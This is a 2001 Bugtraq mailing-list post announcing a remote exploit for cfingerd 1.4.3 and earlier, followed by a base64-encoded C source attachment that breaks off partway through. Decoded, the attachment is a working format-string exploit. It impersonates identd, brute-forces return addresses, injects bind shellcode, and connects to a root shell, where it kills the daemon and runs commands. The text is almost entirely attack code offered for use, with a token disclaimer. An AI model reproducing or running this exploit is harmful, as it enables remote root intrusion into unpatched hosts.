|
Date: Mon, 7 May 2001 02:37:57 -0300 From: venomous <venomous@RDCREW.COM.AR> To: BUGTRAQ@SECURITYFOCUS.COM Subject: another exploit for cfingerd. This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --8323328-429940079-989213877=:520 Content-Type: TEXT/PLAIN; charset=US-ASCII Yes, this vulnerability has been patched a few weeks ago, anyway here is another exploit for it. venomous http://www.rdcrew.com.ar --8323328-429940079-989213877=:520 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="rdC-cfingerd.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.LNX.4.20.0105070237570.520@powerhouse.is.penguinpowered.com.ar> Content-Description: . Content-Disposition: attachment; filename="rdC-cfingerd.c" LyogcmVtb3RlIGV4cGxvaXQgZm9yIGxpbnV4L3g4NiAtIGNmaW5nZXJkIDw9 IDEuNC4zDQogKiBjb2RlZCBieSB2ZW5vbW91cyBvZiByZEMgLSAxNi9hcHIv MDENCiAqDQogKiBJdHMganVzdCBhIGNvbW1vbiBmb3JtYXRzdHJpbmcgYnVn IHVzaW5nIHN5c2xvZygpIGluY29ycmVjdGx5Lg0KICogV2UgbmVlZCB0byBi aW5kIGFzIGlkZW50ZCwgc28gZGlzYWJsZSB5b3VyIGlkZW50ZCBpbiBjYXNl IHlvdSBhcmUNCiAqIHVzaW5nIGl0Lg0KICoNCiAqIEJPTlVTOiBlaXAgYWRk cmVzcyBpcyBicnV0ZWZvcmNlZCwgc28gcmVsYXggYW5kIHdhaXQgPSkNCiAq DQogKiBOT1RFOiBmb3Igc3VyZSB3aGVyZSB3ZSBjb250cm9sIHRoZSBmb3Jt YXQgc3RyaW5nIHdpbGwgY2hhbmdlIGZyb20NCiAqICAgICAgIHBsYXRmb3Jt IHRvIHBsYXRmb3JtLg0KICogICAgICAgQW5kIGZvciBzdXJlLCB0aGUgc2hl bGxjb2RlIGFkZHJlc3Mgd2lsbCBjaGFuZ2Ugc28gbWF5YmUgeW91DQogKiAg ICAgICB3YW50IHRvIGJydXRlZm9yY2UgdGhpcyB0b28uICgtMTUwMCB0byAr MTUwMCBzaG91bGQgYmUgZmluZSBpIGd1ZXNzKQ0KICoNCiAqIFJFTUVNQkVS OiB0aGlzIGNvZGUgaXMgZm9yIGVkdWNhdGlvbmFsIHByb3BvdXJzZXMgb25s eSwgZG8gbm90IHVzZQ0KICogICAgICAgICAgIGl0IG9uIG1hY2hpbmVzIHdp dGhvdXQgYXV0aG9yaXphdGlvbi4NCiAqDQogKiBJTkZPOiBjZmluZ2VyZCBp c250IGEgcGFja2FnZSBvZiBzbGFja3dhcmUgNy4wDQogKiAgICAgICBjZmlu Z2VyZCAxLjQuMSBpcyBhIHBhY2thZ2Ugb2YgZGViaWFuIDIuMg0KICoNCiAq IEdyZWV0czoga2EweiwgYnJ1ajAsIGRuMCwgc3VwZXJsdWNrLCBmdWdpdGl2 byghKQ0KICogICAgICAgICAjZmxhdGxpbmUsICNyZEMNCiAqDQogKiBDcmVk aXRzOiBUbyBMZXosIHdobyBmb3VuZCB0aGlzIGJ1Zy4NCiAqDQogKiBodHRw Oi8vd3d3LnJkY3Jldy5jb20uYXIgLSBBcmdlbnRpbmlhbiBTZWN1cml0eSBH cm91cC4NCiAqIHZlbm9tb3VzQHJkY3Jldy5jb20uYXINCiAqLw0KDQoNCiNp bmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNp bmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+ DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzaWduYWwuaD4NCiNp bmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0K I2luY2x1ZGUgPHVuaXN0ZC5oPg0KDQojZGVmaW5lIFJPT1RTSEVMTFBPUlQg MzY4NjQNCg0Kdm9pZCBjaGxkX3RpbWVvKCk7DQp2b2lkIGNobGRfdGltZW9v KCk7DQoNCmludCBzc2VydmVyOw0KaW50IGNzZXJ2ZXI7DQppbnQgcGhhc2U9 MDsNCmludCBtbW09MDsNCg0KdW5zaWduZWQgbG9uZyBnbG9iOw0KLy91bnNp Z25lZCBsb25nIHN0YXJ0YWRkciA9IDB4YmZmZmZkZmM7DQp1bnNpZ25lZCBs b25nIHN0YXJ0YWRkciA9IDB4YmZmZmZiMzQ7DQp1bnNpZ25lZCBsb25nIHN0 b3BhZGRyICA9IDB4YmZmZmYwMDA7DQoNCmNoYXIgcGJ1ZlsxMDI0XTsNCg0K Y2hhciB0ZXN0Y29kZVtdPQ0KICAgICJceGViXHgwYlx4MmVceDcyXHg2NFx4 NDNceDJlXHg3Mlx4NmZceDYzXHg2Ylx4NzNceDJlXHhlYlx4ZmUiOw0KDQpj aGFyIGxpbnV4Y29kZVtdPQ0KICAgIC8qIExhbWFncmEgYmluZCBzaGVsbGNv ZGUgbW9kaWZpZWQgYnkgbWUsIG1ha2luZyBpdCBzbWFsbGVyID0pIC0gMTI0 YiAqLw0KICAgICJceGViXHg2ZVx4NWVceDI5XHhjMFx4ODlceDQ2XHgxMCIN CiAgICAiXHg0MFx4ODlceGMzXHg4OVx4NDZceDBjXHg0MFx4ODkiDQogICAg Ilx4NDZceDA4XHg4ZFx4NGVceDA4XHhiMFx4NjZceGNkIg0KICAgICJceDgw XHg0M1x4YzZceDQ2XHgxMFx4MTBceDg4XHg0NiINCiAgICAiXHgwOFx4MzFc eGMwXHgzMVx4ZDJceDg5XHg0Nlx4MTgiDQogICAgIlx4YjBceDkwXHg2Nlx4 ODlceDQ2XHgxNlx4OGRceDRlIg0KICAgICJceDE0XHg4OVx4NGVceDBjXHg4 ZFx4NGVceDA4XHhiMCINCiAgICAiXHg2Nlx4Y2RceDgwXHg4OVx4NWVceDBj XHg0M1x4NDMiDQogICAgIlx4YjBceDY2XHhjZFx4ODBceDg5XHg1Nlx4MGNc eDg5Ig0KICAgICJceDU2XHgxMFx4YjBceDY2XHg0M1x4Y2RceDgwXHg4NiIN CiAgICAiXHhjM1x4YjBceDNmXHgyOVx4YzlceGNkXHg4MFx4YjAiDQogICAg Ilx4M2ZceDQxXHhjZFx4ODBceGIwXHgzZlx4NDFceGNkIg0KICAgICJceDgw XHg4OFx4NTZceDA3XHg4OVx4NzZceDBjXHg4NyINCiAgICAiXHhmM1x4OGRc eDRiXHgwY1x4YjBceDBiXHhjZFx4ODAiDQogICAgIlx4ZThceDhkXHhmZlx4 ZmZceGZmXHgyZlx4NjJceDY5Ig0KICAgICJceDZlXHgyZlx4NzNceDY4IjsN Cg0Kc3RydWN0IG9zDQp7DQogICAgaW50IGlkOw0KICAgIGNoYXIgKm9zOw0K ICAgIGNoYXIgKnNoZWxsY29kZTsNCiAgICBpbnQgZnNjOw0KICAgIHVuc2ln bmVkIGxvbmcgc2hhZGRyOw0KICAgIGludCBvZmZzZXQ7DQp9Ow0KDQpzdHJ1 Y3Qgb3MgdHlwZXNbXT0NCnsNCiAgICB7MCwgInNsYWNrd2FyZSA3LjAgLSBj b21waWxlZCBjZmluZ2VyZCAxLjQuMi8xLjQuMyBydW5uaW5nIGZyb20gaW5l dGQgYXMgcm9vdCIsIGxpbnV4Y29kZSwgMjIsIDB4YmZmZmZiYzQsIDMwfSwN CiAgICB7MSwgInNsYWNrd2FyZSA3LjAgLSBjb21waWxlZCBjZmluZ2VyZCAx LjQuMi8xLjQuMyBydW5uaW5nIGZyb20gaW5ldGQgYXMgbm9ib2R5IiwgbGlu dXhjb2RlLCAyMiwgMHhiZmZmZmJjNCwgMzB9LA0KICAgIHsyLCAiZGViaWFu IDIuMiAtIGRlZmF1bHQgY2ZpbmdlcmQgMS40LjEgcnVubmluZyBmcm9tIGlu ZXRkIGFzIHJvb3QiLCBsaW51eGNvZGUsIDMzLCAweGJmZmZmYjQ4LCAwfSwN CiAgICB7MywgImRlYmlhbiAyLjIgLSBkZWZhdWx0IGNmaW5nZXJkIDEuNC4x IHJ1bm5pbmcgZnJvbSBpbmV0ZCBhcyBub2JvZHkiLCBsaW51eGNvZGUsIDMz LCAweGJmZmZmYjQ4LCAwfSwNCiAgICB7NCwgTlVMTCwgMCwgMHhkZWFkYmVl ZiwgMH0NCn07DQoNCm1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCnsN CiAgICBzdHJ1Y3Qgc29ja2FkZHJfaW4gc2luOw0KICAgIHN0cnVjdCBzb2Nr YWRkcl9pbiBzc2luOw0KICAgIGludCBmZDsNCiAgICBpbnQgeDsNCiAgICBp bnQgeHg9MDsNCiAgICBpbnQgc3RzPTA7DQogICAgaW50IHBldGU7DQogICAg aW50IGEsYixjPTIyLGQ9MDsgLyogYyBpcyB1c2VkIGluIGNhc2UgeW91IHdh bnQgdG8gc2VlayB0aGUgZnNjIG9uICAgKi8NCiAgICBpbnQgZ3VpZGU9MTsg ICAgICAvKiB5b3VyIHN5c3RlbSwgc3RhcnRpbmcgZnJvbSAyMiwgY2hhbmdl IGl0IGlmIHlvdSAqLw0KICAgIGludCBzZWw9MDsgICAgICAgIC8qIHdhbnQu ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICov DQogICAgaW50IGJsZWg9MDsgICAgICAgLyogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8NCiAgICBpbnQgb2Zm PTA7DQogICAgaW50IGFyeD0wOw0KICAgIGludCBuaXU9MDsNCiAgICBpbnQg eWU9MDsNCiAgICBjaGFyIGJ1ZlsxMDI0XTsNCiAgICBjaGFyIHRleFs1MTJd Ow0KDQogICAgaWYgKGFyZ2MgPCA0KQ0KICAgIHsNCiAgICAgICAgcHJpbnRm KCJjZmluZ2VyZCA8PSAxLjQuMyByZW1vdGUgZXhwbG9pdCBjb2RlZCBieSB2 ZW5vbW91cyBvZiByZENcblxuIik7DQogICAgICAgIHByaW50ZigiVXNhZ2U6 ICVzIDxwbGF0Zm9ybT4gPGhvc3Q+IDxvZmZzZXQ+XG4iLGFyZ3ZbMF0pOw0K ICAgICAgICBwcmludGYoIndoZXJlIDxwbGF0Zm9ybT4gaXM6XG4iKTsNCiAg ICAgICAgZm9yICh4PTAgOyB0eXBlc1t4XS5vcyAhPSBOVUxMIDsgeCsrKQ0K ICAgICAgICAgICAgcHJpbnRmKCIlZCBmb3IgJXNcbiIsIHR5cGVzW3hdLmlk LCB0eXBlc1t4XS5vcyk7DQogICAgICAgIHByaW50ZigiXG5odHRwOi8vd3d3 LnJkY3Jldy5jb20uYXJcblxuIik7DQogICAgICAgIGV4aXQoMSk7DQogICAg fQ0KDQogICAgZm9yICh4PTAgOyB0eXBlc1t4XS5vcyAhPSBOVUxMIDsgeCsr KQ0KICAgIHsNCiAgICAgICAgaWYgKHR5cGVzW3hdLmlkID09IGF0b2koYXJn dlsxXSkgKQ0KICAgICAgICB7DQogICAgICAgICAgICB4eCsrOw0KICAgICAg ICAgICAgc2VsID0gdHlwZXNbeF0uaWQ7DQogICAgICAgIH0NCiAgICB9DQog ICAgaWYgKCF4eCkNCiAgICB7DQogICAgICAgIHByaW50ZigiVW5rbm93biBw bGF0Zm9ybTogJXNcbiIsYXJndlsxXSk7DQogICAgICAgIGV4aXQoMSk7DQog ICAgfQ0KDQogICAgb2ZmID0gYXRvaShhcmd2WzNdKTsNCiAgICBwcmludGYo IlNlbGVjdGVkIHBsYXRmb3JtOiAlcyAoJWQpXG4iLHR5cGVzW3NlbF0ub3Ms c2VsKTsNCiAgICBiemVybygmc2luLHNpemVvZihzaW4pKTsNCg0KICAgIC8v IGZha2UgaWRlbnRkDQogICAgc2luLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0K ICAgIHNpbi5zaW5fcG9ydCA9IGh0b25zKDExMyk7DQogICAgc2luLnNpbl9h ZGRyLnNfYWRkciA9IGh0b25sKElOQUREUl9BTlkpOw0KDQogICAgaWYgKCAo ZmQgPSBzb2NrZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIDApKSA8IDApDQog ICAgew0KICAgICAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgICAgICBleGl0 KDEpOw0KICAgIH0NCiAgICBpZiAoICh4ID0gYmluZChmZCwoc3RydWN0IHNv Y2thZGRyICopJnNpbiwgc2l6ZW9mKHNpbikpIDwgMCkpDQogICAgew0KICAg ICAgICBwZXJyb3IoImJpbmQiKTsNCiAgICAgICAgZXhpdCgxKTsNCiAgICB9 DQoNCiAgICBpZiAoICh4eCA9IGxpc3RlbihmZCwgNSkpIDwgMCkNCiAgICB7 DQogICAgICAgIHBlcnJvcigibGlzdGVuIik7DQogICAgICAgIGV4aXQoMSk7 DQogICAgfQ0KDQogICAgcHJpbnRmKCJmYWtlIGlkZW50ZCBib3VuZCBzdWNj ZXNzZnVseVxuXG4iKTsNCiAgICBwcmludGYoInByZS1waGFzZSBpbmZvOiBJ ZiB5b3UgbmVlZCB0byB1c2UgdGhlIG9mZnNldCB5b3UgY2FuIHVzZSBzYWZl bHkgc3RlcHMgb2YgMTIwXG5cbiIpOw0KICAgIHByaW50ZigicGhhc2UgMDog ZmluZGluZyBlaXAuLi4gIFxuIik7DQogICAgd2hpbGUgKGd1aWRlKQ0KICAg IHsNCiAgICAgICAgLy9tYXliZSB5b3UgbmVlZCBpdC4uDQogICAgICAgIC8v ICAgICAgICBpZiAoIWQpDQogICAgICAgIC8vICAgICAgICB7DQogICAgICAg IHByZXBhcmVidWYoc2VsLCBvZmYsIHllKTsNCiAgICAgICAgZmNvbm5lY3Qo YXJndlsyXSwgeWUsIDc5KTsNCiAgICAgICAgLy8gICAgICAgIH0NCg0KICAg ICAgICBwZXRlID0gc2l6ZW9mKHNzaW4pOw0KICAgICAgICBpZiAoIChzc2Vy dmVyID0gYWNjZXB0KGZkLCAoc3RydWN0IHNvY2thZGRyICopJnNzaW4sICZw ZXRlKSkgPCAwKQ0KICAgICAgICB7DQogICAgICAgICAgICBwZXJyb3IoImFj Y2VwdCIpOw0KICAgICAgICAgICAgZXhpdCgxKTsNCiAgICAgICAgfQ0KICAg ICAgICBiemVybyhidWYsc2l6ZW9mKGJ1ZikpOw0KICAgICAgICByZWFkKHNz ZXJ2ZXIsYnVmLHNpemVvZihidWYpKTsNCg0KICAgICAgICAvL2hvcnJlbmR1 cyBkZWJ1ZyEgOikNCiNpZmRlZiBERUJVRw0KICAgICAgICBwcmludGYoIlxu cmVhZCgpOiAlc1xuIixidWYpOw0KI2VuZGlmDQogICAgICAgIHNzY2FuZihi dWYsIiVkLCVkIiwmYSwmYik7DQogICAgICAgIGJ6ZXJvKGJ1ZixzaXplb2Yo YnVmKSk7DQogICAgICAgIGJ6ZXJvKHRleCxzaXplb2YodGV4KSk7DQogICAg ICAgIG1lbXNldCh0ZXgsJ1x4OTAnLDExOSk7DQoNCiAgICAgICAgYmxlaD1z dHJsZW4ocGJ1Zik7DQogICAgICAgIG5pdSA9IDA7DQoNCiAgICAgICAgd2hp bGUgKDEpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmKHN0cmxlbihwYnVm KSA8IDY1KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmIChw aGFzZT09MCkNCiAgICAgICAgICAgICAgICAgICAgcGJ1ZltibGVoXSA9ICdc eDkwJzsNCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAg ICAgIHBidWZbYmxlaF0gPSB0eXBlc1tzZWxdLnNoZWxsY29kZVtuaXVdOw0K ICAgICAgICAgICAgICAgIGJsZWgrKzsNCiAgICAgICAgICAgICAgICBpZiAo cGhhc2U9PTEpDQogICAgICAgICAgICAgICAgICAgIG5pdSsrOw0KICAgICAg ICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIGJy ZWFrOw0KICAgICAgICB9DQogICAgICAgIGFyeCA9IG5pdTsNCg0KICAgICAg ICBpZighcGhhc2UpDQogICAgICAgICAgICBmb3IoYmxlaD0wIDsgYmxlaCA8 IHN0cmxlbih0ZXN0Y29kZSkgOyBibGVoKyspDQogICAgICAgICAgICAgICAg dGV4WzExOSAtIHN0cmxlbih0ZXN0Y29kZSkgKyBibGVoXSA9IHRlc3Rjb2Rl W2JsZWhdOw0KDQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAg ICAgaWYgKCgxMTkgLSAoc3RybGVuKHR5cGVzW3NlbF0uc2hlbGxjb2RlKSAt IGFyeCkpIDwgMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBw cmludGYoInNoZWxsY29kZSB0b28gbG9uZywgZXhpdGluZ1xuIik7DQogICAg ICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAg ICAgICAgZm9yICggYmxlaD0wIDsgYmxlaCA8ICggKHN0cmxlbih0eXBlc1tz ZWxdLnNoZWxsY29kZSkpIC0gYXJ4KSA7IGJsZWgrKykNCiAgICAgICAgICAg ICAgICB0ZXhbMTE5IC0gKHN0cmxlbih0eXBlc1tzZWxdLnNoZWxsY29kZSkp IC0gYXJ4ICsgYmxlaF0gPSB0eXBlc1tzZWxdLnNoZWxsY29kZVtibGVoK2Fy eF07DQogICAgICAgIH0NCg0KICAgICAgICBzbnByaW50ZihidWYsc2l6ZW9m KGJ1ZiksIiVzIDogOiA6ICVzIiwgdGV4LCBwYnVmKTsNCiAgICAgICAgLyog dXNlZnVsbCBmb3IgZmluZCB0aGUgZnNjIG9uIHlvdXIgc3lzdGVtLg0KICAg ICAgICAgLy9zbnByaW50ZihidWYsc2l6ZW9mKGJ1ZiksIiVkICwgJWQgOiBV TklYIDogMSA6IEFBQUElJSVkJHA6ZnNjOiVkXG4iLGEsYixjLGMpOw0KICAg ICAgICAvLyByZWFkIGFib3V0ICdkJyBiZWxvdw0KICAgICAgICBpZiAoZD09 MikgeyBjKys7IGQ9MDsgfQ0KICAgICAgICAqLw0KICAgICAgICB3cml0ZShz c2VydmVyLGJ1ZixzaXplb2YoYnVmKSk7DQoNCiAgICAgICAgLy90aGUgc2Ft ZS4uDQojaWZkZWYgREVCVUcNCiAgICAgICAgcHJpbnRmKCJzZW50OiAlc1xu LS0tLS0tLS0tLS0tLS0tLS0tLS1cbiIsYnVmKTsNCiNlbmRpZg0KICAgICAg ICBjbG9zZShzc2VydmVyKTsNCiAgICAgICAgc2xlZXAoMik7DQoNCiAgICAg ICAgLy9zYW1lLi4NCiAgICAgICAgLy8gICAgICBpZihkKQ0KICAgICAgICB3 YWl0KCZzdHMpOw0KICAgICAgICAvLyAgICAgIGQrKzsNCg0KICAgICAgICAv KiBpZiBzb21ldGhpbmcgbGlrZSB0Y3Bsb2dkIGlzIHJ1bm5pbmcgdGhlcmUg d2lsbCBiZSAzIGNvbm5lY3Rpb25zDQogICAgICAgICAqIHRvIGlkZW50ZCwg c28gaW4gdGhhdCBjYXNlLCBkPT0zDQogICAgICAgICAqLw0KICAgICAgICAv L2lmKGQ9PTIpDQogICAgICAgIC8vICAgIGQ9MDsNCg0KICAgICAgICBpZiAo KFdFWElUU1RBVFVTKHN0cykpID09IDEpIC8vIGVpcC9zaGVsbGNvZGUgYWRk cmVzcyBvayAoYXQgcGhhc2UgMCkNCiAgICAgICAgew0KICAgICAgICAgICAg cGhhc2U9MTsgeWU9MTsgc3RzPTA7DQogICAgICAgICAgICBwcmludGYoIlxu cGhhc2UgMTogY2FsY3VsYXRpbmcgYWRkcmVzcyBvZiB0aGUgZmlyc3QgY2hh Y2FyY3RlciBpbiBvdXIgYnVmZmVyLi4uIHdhaXRcbiIpOw0KICAgICAgICB9 DQoNCiAgICAgICAgaWYgKChXRVhJVFNUQVRVUyhzdHMpKSA9PSAyKSAvLyBz aGVsbGNvZGUgZXhlY3V0ZWQgKGF0IHBoYXNlIDEpDQogICAgICAgIHsNCiAg ICAgICAgICAgIHByaW50ZigiXG5waGFzZSAyIGNvbm5lY3RpbmcgdG8gcm9v dHNoZWxsLi4uICIpOw0KICAgICAgICAgICAgZmZsdXNoKHN0ZG91dCk7DQog ICAgICAgICAgICBjbG9zZShmZCk7IC8vaWRlbnRkIGZha2Ugc2VydmVyDQog ICAgICAgICAgICBmY29ubmVjdChhcmd2WzJdLCAyLCBST09UU0hFTExQT1JU KTsNCiAgICAgICAgICAgIHByaW50ZigiXG5cblRoYW5rcyBmb3IgdXNpbmcg cmRDIHByb2R1Y3RzIVxuXG4iKTsNCiAgICAgICAgICAgIGV4aXQoMCk7DQog ICAgICAgIH0NCiAgICB9DQp9DQoNCmludCBmY29ubmVjdChjaGFyICpobmFt ZSwgaW50IHdoYXQsIGludCBwb3J0KQ0Kew0KICAgIHN0cnVjdCBob3N0ZW50 ICpob3N0Ow0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiBkOw0KICAgIGludCBy Ow0KICAgIGNoYXIgaG5hbWUyWzEyOF07DQogICAgY2hhciByZXNwb25zZVsx MDI0XTsNCiAgICBkLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KICAgIGQuc2lu X3BvcnQgPSBodG9ucyhwb3J0KTsNCg0KICAgIGJ6ZXJvKGhuYW1lMixzaXpl b2YoaG5hbWUyKSk7DQogICAgc3RybmNweShobmFtZTIsaG5hbWUsc2l6ZW9m KGhuYW1lMikpOw0KICAgIGhvc3QgPSBnZXRob3N0YnluYW1lKGhuYW1lMik7 DQogICAgaWYgKCFob3N0KQ0KICAgIHsNCiAgICAgICAgcHJpbnRmKCJjYW5u b3QgcmVzb2x2ZVxuIik7DQogICAgICAgIGV4aXQoMCk7DQogICAgfQ0KDQog ICAgYmNvcHkoaG9zdC0+aF9hZGRyLCAoc3RydWN0IGluX2FkZHIgKikmZC5z aW5fYWRkciwgaG9zdC0+aF9sZW5ndGgpOw0KDQogICAgY3NlcnZlciA9IHNv Y2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7DQoNCiAgICAvLyB5b3Ug Y2FuIGFkZCBhIHRpbWVvdXQgaGVyZSwgYnV0IHN1cG9zc2x5IHlvdSBrbm93 IGlmIHRoZSBzZXJ2ZXINCiAgICAvLyBpcyB1cC9ub3QgZmlyZXdhbGxlZCwg YmVjYXVzZSB5b3UgYXJlIHVzaW5nIGl0IGFnYWluc3QgYW4gYXV0aG9yaXpl ZA0KICAgIC8vIG1hY2hpbmUgYW5kIG5vdCBpbiBhIHNjcmlwdC9ub3QgYXV0 aG9yaXplZCBtYWNoaW5lLCByaWdodD8NCg0KICAgIGlmIChjb25uZWN0KGNz ZXJ2ZXIsIChzdHJ1Y3Qgc29ja2FkZHIgKikmZCwgc2l6ZW9mKHN0cnVjdCBz b2NrYWRkcikpIDwgMCkNCiAgICB7DQogICAgICAgIHBlcnJvcigiY29ubmVj dCIpOw0KICAgICAgICBleGl0KDEpOw0KICAgIH0NCg0KICAgIGlmICh3aGF0 PT0yKQ0KICAgIHsNCiAgICAgICAgcHJpbnRmKCJjb25uZWN0ZWQhXG4iKTsN CiAgICAgICAgZmZsdXNoKHN0ZG91dCk7DQogICAgICAgIHJvb3Rzb3goY3Nl cnZlcik7DQogICAgICAgIGNsb3NlKGNzZXJ2ZXIpOw0KICAgICAgICByZXR1 cm47DQogICAgfQ0KDQogICAgd3JpdGUoY3NlcnZlciwiYVxuIixzdHJsZW4o ImFcbiIpKTsNCg0KICAgIGlmICgoZm9yaygpKSA9PSAwKQ0KICAgIHsNCiAg ICAgICAgcHJpbnRmKCJXYWl0aW5nIHJlc3BvbnNlLi4uIik7DQogICAgICAg IGZvcihyPTAgOyByIDwgMTkgOyByKyspDQogICAgICAgICAgICBwcmludGYo IlxiIik7DQogICAgICAgIGZmbHVzaChzdGRvdXQpOw0KICAgICAgICBiemVy byhyZXNwb25zZSxzaXplb2YocmVzcG9uc2UpKTsNCiAgICAgICAgaWYgKHdo YXQ9PTApDQogICAgICAgICAgICBzaWduYWwoU0lHQUxSTSwgY2hsZF90aW1l byk7DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIHNpZ25hbChTSUdBTFJN LCBjaGxkX3RpbWVvbyk7DQoNCiAgICAgICAgYWxhcm0oMzApOw0KICAgICAg ICByZWFkKGNzZXJ2ZXIscmVzcG9uc2Usc2l6ZW9mKHJlc3BvbnNlKSk7DQog ICAgICAgIGlmIChzdHJzdHIocmVzcG9uc2UsIlNJR0lMTCIpKQ0KICAgICAg ICB7DQogICAgICAgICAgICBwcmludGYoIklsbGVnYWwgSW5zdHJ1Y3Rpb25c ciIpOw0KICAgICAgICAgICAgZmZsdXNoKHN0ZG91dCk7DQogICAgICAgICAg ICBjbG9zZShjc2VydmVyKTsNCiAgICAgICAgICAgIGV4aXQoMCk7DQogICAg ICAgIH0NCiAgICAgICAgaWYgKHN0cnN0cihyZXNwb25zZSwiU0lHU0VHViIp KQ0KICAgICAgICB7DQogICAgICAgICAgICBwcmludGYoIlNlZ21lbnRhdGlv biBGYXVsdC5cciIpOw0KICAgICAgICAgICAgZmZsdXNoKHN0ZG91dCk7DQog ICAgICAgICAgICBjbG9zZShjc2VydmVyKTsNCiAgICAgICAgICAgIGV4aXQo MCk7DQogICAgICAgIH0NCiAgICAgICAgLy95b3UgbWlnaHQgYWRkIHN0cmlu Z3MgaGVyZS4uDQogICAgICAgIGlmIChzdHJzdHIocmVzcG9uc2UsIlNvcnJ5 LCB0aGF0IHVzZXIgZG9lc24ndCBleGlzdCIpIHx8IHN0cnN0cihyZXNwb25z ZSwiRGViaWFuIEdOVS9MaW51eCIpKQ0KICAgICAgICB7DQogICAgICAgICAg ICBwcmludGYoInNlcnZlciBub3QgY3Jhc2hlZC5cciIpOw0KICAgICAgICAg ICAgZmZsdXNoKHN0ZG91dCk7DQogICAgICAgICAgICBjbG9zZShjc2VydmVy KTsNCiAgICAgICAgICAgIGV4aXQoMCk7DQogICAgICAgIH0NCiAgICB9DQog ICAgLy9jbG9zZShjc2VydmVyKTsNCn0NCg0KLyogPGh1aD4gKi8NCnZvaWQg Y2hsZF90aW1lbygpDQp7DQogICAgYWxhcm0oMCk7DQogICAgc2lnbmFsKFNJ R0FMUk0sIFNJR19ERkwpOw0KICAgIHByaW50ZigiRUlQIEZPVU5EISAtIFNI RUxMQ09ERSBBRERSIE9LIVxuIik7DQogICAgZmZsdXNoKHN0ZG91dCk7DQog ICAgY2xvc2UoY3NlcnZlcik7DQogICAgZXhpdCgxKTsNCn0NCg0Kdm9pZCBj aGxkX3RpbWVvbygpDQp7DQogICAgYWxhcm0oMCk7DQogICAgc2lnbmFsKFNJ R0FMUk0sIFNJR19ERkwpOw0KICAgIHByaW50Zigic2hlbGxjb2RlIGV4ZWN1 dGVkIVxuIik7DQogICAgZmZsdXNoKHN0ZG91dCk7DQogICAgY2xvc2UoY3Nl cnZlcik7DQogICAgZXhpdCgyKTsNCn0NCi8qIDwvaHVoPiAqLw0KDQppbnQg cm9vdHNveChpbnQgc294KQ0Kew0KICAgIGZkX3NldCAgcnNldDsNCiAgICBp bnQgICAgIG47DQogICAgY2hhciAgICBidWZmZXJbNDA5Nl07DQoNCiAgICAv KiB3ZSBraWxsIHRoZSBjZmluZ2VyZCBpbiBldGVybmFsIGxvb3AgYW5kIHdl IHJ1biBvdGhlciBuaWNlIGNvbW1hbmRzIDspDQogICAgICovDQogICAgY2hh ciAqY29tbWFuZD0iL2Jpbi9raWxsYWxsIC05IGNmaW5nZXJkIDsgL2Jpbi91 bmFtZSAtYSA7IC91c3IvYmluL2lkXG4iOw0KDQogICAgc2VuZChzb3gsIGNv bW1hbmQsIHN0cmxlbihjb21tYW5kKSwgMCk7DQoNCiAgICBmb3IgKDs7KSB7 DQogICAgICAgIEZEX1pFUk8gKCZyc2V0KTsNCiAgICAgICAgRkRfU0VUIChz b3gsICZyc2V0KTsNCiAgICAgICAgRkRfU0VUIChTVERJTl9GSUxFTk8sICZy c2V0KTsNCg0KICAgICAgICBuID0gc2VsZWN0KHNveCArIDEsICZyc2V0LCBO VUxMLCBOVUxMLCBOVUxMKTsNCiAgICAgICAgaWYobiA8PSAwKQ0KICAgICAg ICAgICAgcmV0dXJuICgtMSk7DQoNCiAgICAgICAgaWYoRkRfSVNTRVQgKHNv eCwgJnJzZXQpKSB7DQogICAgICAgICAgICBuID0gcmVjdiAoc294LCBidWZm ZXIsIHNpemVvZiAoYnVmZmVyKSwgMCk7DQogICAgICAgICAgICBpZiAobiA8 PSAwKQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICB3 cml0ZSAoU1RET1VUX0ZJTEVOTywgYnVmZmVyLCBuKTsNCiAgICAgICAgfQ0K DQogICAgICAgIGlmKEZEX0lTU0VUIChTVERJTl9GSUxFTk8sICZyc2V0KSkg ew0KICAgICAgICAgICAgbiA9IHJlYWQgKFNURElOX0ZJTEVOTywgYnVmZmVy LCBzaXplb2YgKGJ1ZmZlcikpOw0KICAgICAgICAgICAgaWYgKG4gPD0gMCkN CiAgICAgICAgICAgICAgICBicmVhazsNCg0KICAgICAgICAgICAgc2VuZChz b3gsIGJ1ZmZlciwgbiwgMCk7DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0 dXJuIDA7DQp9DQoNCi8vaGVhdmx5IG1vZGlmaWVkIGZvcm1hdHN0cmluZyBl bmdpbmUgZnJvbSByZEMtTFBSbmcuYyBleHBsb2l0IC0gMTIvMDANCnByZXBh cmVidWYoaW50IHNlbCwgaW50IG9mZiwgaW50IHdoYXQpDQp7DQogICAgdW5z 